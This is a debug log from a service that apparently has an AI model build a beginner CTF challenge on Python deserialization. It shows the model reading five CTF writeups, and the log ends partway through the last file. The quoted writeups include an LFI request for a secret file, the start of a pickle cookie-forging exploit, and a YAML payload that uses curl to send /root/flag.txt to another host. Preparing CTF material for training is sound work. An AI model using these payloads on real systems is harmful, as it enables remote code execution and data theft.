[2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 2 不满足条件 knowledge_count > 1,跳过 [2026-01-08 14:02:45] [INFO] [AIService] 已从数据库加载已编译的 Prompt 模板(难度: 入门) [2026-01-08 14:02:45] [INFO] [AIService] 已加载 Prompt,包含 9 个阶段 [2026-01-08 14:02:45] [INFO] [AIService] 初始化 9 个阶段 (task_id: 20260108140245-c89a371f-44af-4db6-86da-193faf96a956) [2026-01-08 14:02:45] [INFO] [AIService] 已设置系统提示词 (7643 字符) [2026-01-08 14:02:45] [INFO] [AIService] 已从数据库加载系统 Prompt (7643 字符) [2026-01-08 14:02:45] [INFO] [AIService] 开始生成 CTF 题目: 入门 / Python / Python反序列化 [2026-01-08 14:02:45] [INFO] [AIService] 用户指令内容: - 语言:Python - 难度级别:入门 - 应用场景:支付平台 - 漏洞类型:Python反序列化 [2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): processing - 正在处理: 用户输入需求... [2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 用户输入需求已确认 [2026-01-08 14:02:45] [SYSTEM] [AIService] ============================================================ [2026-01-08 14:02:45] [INFO] [AIService] [轮次 1] 发送给 AI 的消息: [2026-01-08 14:02:45] [INFO] [AIService] - 语言:Python - 难度级别:入门 - 应用场景:支付平台 - 漏洞类型:Python反序列化 [2026-01-08 14:02:47] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:02:53] [SYSTEM] [AIService] ============================================================ [2026-01-08 14:02:53] [INFO] [AIService] [轮次 1] AI 响应: [2026-01-08 14:02:53] [INFO] [AIService] 阶段1:用户输入需求 已接收用户需求: - 语言:Python - 难度:入门(1个漏洞) - 漏洞:Python反序列化 - 场景:支付平台 阶段2:漏洞主次分类 入门难度只允许1个漏洞,跳过此阶段。 阶段3:知识库获取 现在从知识库中获取Python反序列化相关的writeup学习材料。 [2026-01-08 14:02:53] [DEBUG] [AIService] 保存阶段 0 摘要: [2026-01-08 14:02:53] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 阶段 0 完成 [2026-01-08 14:02:53] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): processing - 正在执行: 知识库获取 [2026-01-08 14:02:53] [INFO] [AIService] 进入阶段 1 (ID: 3): 知识库获取 [2026-01-08 14:02:53] [TOOL] [AIService] [轮次 1] AI 请求执行 1 个工具: [2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 参数: {"command": "python3 data/scripts/choice.py --difficulty=入门 --count=5 \"Python反序列化\""} [2026-01-08 14:02:53] [INFO] [AIService] 执行工具: run_command [2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行工具: run_command [2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行命令: python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"... [2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行 data/ 目录内的可执行文件,应用受限环境 [2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 结果: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Jar.md - flask_caching.md [2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Jar.md - flask_caching.md [2026-01-08 14:02:53] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:02:56] [SYSTEM] [AIService] ============================================================ [2026-01-08 14:02:56] [INFO] [AIService] [轮次 2] AI 响应: [2026-01-08 14:02:56] [INFO] [AIService] 现在读取这5篇writeup文件的内容: [2026-01-08 14:02:56] [TOOL] [AIService] [轮次 2] AI 请求执行 1 个工具: [2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Bottle Poem.md"} [2026-01-08 14:02:56] [INFO] [AIService] 执行工具: read_file [2026-01-08 14:02:56] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 14:02:56] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Bottle Poem.md (1659 字符) [2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: 结果: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac... (截断,共 1659 字符) [2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!') + sig + tob('?') + msg ``` There is usage of the pickle package which is vulnurable and allows RCE on deserialization. The full code: ``` import base64 import hashlib import hmac import pickle import requests sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" unicode = str def tob(s, enc='utf8'): return s.encode(enc) if isinstance(s, unicode) else bytes(s) def touni(s, enc='utf8', err='stric ... (截断,共 1659 字符) [2026-01-08 14:02:56] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:02:59] [TOOL] [AIService] [轮次 3] AI 请求执行 1 个工具: [2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/File Store.md"} [2026-01-08 14:02:59] [INFO] [AIService] 执行工具: read_file [2026-01-08 14:02:59] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 14:02:59] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/File Store.md (15167 字符) [2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: 结果: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ... (截断,共 8025 字符) [2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip>  #### Reconnaissance Upon visiting the provided URL and spinning up an instance, we are presented with a web interface that allows the upload of files to a File Store web application, which is subsequently stored in a directory specific to the session ID.  #### Challenge Source ##### app.py (with our comments) ```python from flask import Flask, request, render_template, redirect, session from flask_session import Session # flask_ses ... (截断,共 8025 字符) [2026-01-08 14:02:59] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:03:02] [TOOL] [AIService] [轮次 4] AI 请求执行 1 个工具: [2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Homedrive.md"} [2026-01-08 14:03:02] [INFO] [AIService] 执行工具: read_file [2026-01-08 14:03:02] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 14:03:02] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Homedrive.md (1405 字符) [2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: 结果: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Hos... (截断,共 1405 字符) [2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 277 Content-Type: application/json Date: Sun, 15 Aug 2021 03:08:17 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa- xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q" } ... (截断,共 1405 字符) [2026-01-08 14:03:02] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:03:05] [TOOL] [AIService] [轮次 5] AI 请求执行 1 个工具: [2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Jar.md"} [2026-01-08 14:03:05] [INFO] [AIService] 执行工具: read_file [2026-01-08 14:03:05] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 14:03:05] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Jar.md (2681 字符) [2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: 结果: # Jar ## Challenge: My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. ## Solution: We’re given a link to the web application, the Python source code, and a picture of a pickle. The hint points to the [documentation for the Python pickle module](https://docs.python.org/3/library/pickle.html), a clue that this application is vulnerable to insecure deserialization. The site shows a single form inpu... (截断,共 2681 字符) [2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: # Jar ## Challenge: My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. ## Solution: We’re given a link to the web application, the Python source code, and a picture of a pickle. The hint points to the [documentation for the Python pickle module](https://docs.python.org/3/library/pickle.html), a clue that this application is vulnerable to insecure deserialization. The site shows a single form input with an “Add Item” button. Whatever we submit is appended to the page. Looking at the source code, we can see that the `contents` cookie is used to store these submissions. On a post request, the `contents` cookie is Base64 decoded and then deserialized and stored in an array. The new item is added, the array is serialized, and then the cookie is reencoded and set in the browser. When we visit the page, the `contents` cookie is decoded and deserialized and the objects are used to generate the ... (截断,共 2681 字符) [2026-01-08 14:03:05] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 14:03:08] [TOOL] [AIService] [轮次 6] AI 请求执行 1 个工具: [2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/flask_caching.md"} [2026-01-08 14:03:08] [INFO] [AIService] 执行工具: read_file [2026-01-08 14:03:08] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 14:03:08] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/flask_caching.md (3550 字符) [2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: 结果: # flask_caching (Web, 300 points) > cache all the things (this is python3) > http://web.chal.csaw.io:5000 This challenge serves up a Flask web application where we are able to upload a note with a title and file, which it puts into the Redis database. It also uses `flask_caching` on many endpoints just because. The source code was provided in `app.py` and the relevant parts are included below: ```python @app.route('/', methods=['GET', 'POST']) def notes_post(): if request.method... (截断,共 3550 字符) [2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: # flask_caching (Web, 300 points) > cache all the things (this is python3) > http://web.chal.csaw.io:5000 This challenge serves up a Flask web application where we are able to upload a note with a title and file, which it puts into the Redis database. It also uses `flask_caching` on many endpoints just because. The source code was provided in `app.py` and the relevant parts are included below: ```python @app.route('/', methods=['GET', 'POST']) def notes_post(): if request.method == 'GET': return '''